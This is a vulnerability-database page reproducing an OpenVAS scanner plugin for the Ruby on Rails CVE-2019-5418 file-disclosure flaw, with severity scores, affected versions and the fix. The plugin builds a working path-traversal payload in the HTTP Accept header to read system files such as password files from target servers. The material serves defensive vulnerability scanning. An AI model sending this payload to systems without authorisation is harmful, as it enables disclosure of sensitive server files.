Lucene search

K
openvasCopyright (C) 2019 Greenbone Networks GmbHOPENVAS:1361412562310108562
HistoryMar 17, 2019 - 12:00 a.m.

Ruby on Rails 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability

2019-03-1700:00:00
Copyright (C) 2019 Greenbone Networks GmbH
plugins.openvas.org
1984

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.8 High

AI Score

Confidence

High

7.8 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

0.975 High

EPSS

Percentile

100.0%

The web application on the remote host is prone to a LFI (Local File Inclusion)
vulnerability if the hosting system is running an outdated version of Ruby on Rails.

# Copyright (C) 2019 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108562");
  script_version("2021-09-06T14:01:33+0000");
  script_cve_id("CVE-2019-5418", "CVE-2019-5419");
  script_tag(name:"last_modification", value:"2021-09-06 14:01:33 +0000 (Mon, 06 Sep 2021)");
  script_tag(name:"creation_date", value:"2019-03-17 11:11:44 +0100 (Sun, 17 Mar 2019)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-16 19:02:00 +0000 (Fri, 16 Oct 2020)");
  script_name("Ruby on Rails 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2019/03/13/5");
  script_xref(name:"URL", value:"https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q");
  script_xref(name:"URL", value:"https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/");
  script_xref(name:"URL", value:"https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715");

  script_tag(name:"summary", value:"The web application on the remote host is prone to a LFI (Local File Inclusion)
  vulnerability if the hosting system is running an outdated version of Ruby on Rails.");

  script_tag(name:"insight", value:"There is a possible file content disclosure vulnerability in Action View.
  Specially crafted accept headers in combination with calls to 'render file:' can cause arbitrary files on the target
  server to be rendered, disclosing the file contents.

  The impact is limited to calls to 'render' which render file contents without a specified accept format. Impacted code
  in a controller looks something like this:

  class UserController < ApplicationController

    def index

      render file:'#{Rails.root}/some/file'

    end

  end

  Rendering templates as opposed to files is not impacted by this vulnerability.");

  script_tag(name:"impact", value:"An attacker might be able to read any file on the file system
  of the host system.");

  script_tag(name:"affected", value:"Web applications running a Ruby on Rails version prior to
  6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2 or 4.2.11.1 and which are passing untrusted user input
  into the mentioned 'Action View'.");

  script_tag(name:"solution", value:"Update the Ruby on Rails version to 6.0.0.beta3, 5.2.2.1, 5.1.6.2,
  5.0.7.2 or 4.2.11.1 or later.

  If this is not possible mitigations steps on how to update the affected code path of the application
  are provided in the references.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  script_timeout(600);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
host = http_host_name( dont_add_port:TRUE );

if( ! cgis = http_get_kb_cgis( port:port, host:host ) )
  exit( 0 );

files = traversal_files();

foreach cgi( cgis ) {

  if( " - " >< cgi ) {

    _cgi = split( cgi, sep:" - ", keep:FALSE );

    if( isnull( _cgi[0] ) )
      continue;

    url = _cgi[0];
    url = chomp( url );
  } else {
    continue;
  }

  foreach pattern( keys( files ) ) {

    file = files[pattern];
    accept = crap( data:"../", length:3*9 ) + file + "{";

    req = http_get_req( port:port, url:url, accept_header:accept );
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( res =~ "^HTTP/1\.[01] 200" && line = egrep( string:res, pattern:pattern, icase:FALSE ) ) {

      info['HTTP Accept header'] = accept;
      info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

      report  = 'By doing a HTTP GET request with the following data:\n\n';
      report += text_format_table( array:info ) + '\n\n';
      report += 'it was possible to read the content of the local file "/' + file + '".';
      report += '\n\nResult: ' + line;

      expert_info += 'Request:\n'+ req + '\n\nResponse:\n' + res;
      security_message( port:port, data:report, expert_info:expert_info );
      exit( 0 );
    }
  }
}

exit( 99 );

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.8 High

AI Score

Confidence

High

7.8 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

0.975 High

EPSS

Percentile

100.0%